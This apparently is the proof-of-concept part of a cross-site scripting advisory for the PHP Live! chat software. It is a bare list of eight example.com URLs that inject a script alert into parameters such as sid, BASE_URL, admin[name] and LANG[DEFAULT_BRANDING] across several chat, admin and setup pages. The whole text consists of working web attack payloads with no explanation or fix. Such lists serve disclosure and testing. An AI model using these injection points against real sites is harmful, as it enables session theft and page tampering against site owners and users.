http://www.example.com/phplive/chat.php?sid=<script>alert(123);</script> http://www.example.com/phplive/help.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script> http://www.example.com/phplive/help.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/admin/header.php?admin[name]=<script>alert(123);</script> http://www.example.com/phplive/super/info.php?BASE_URL=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?nav_line=<script>alert(123);</script>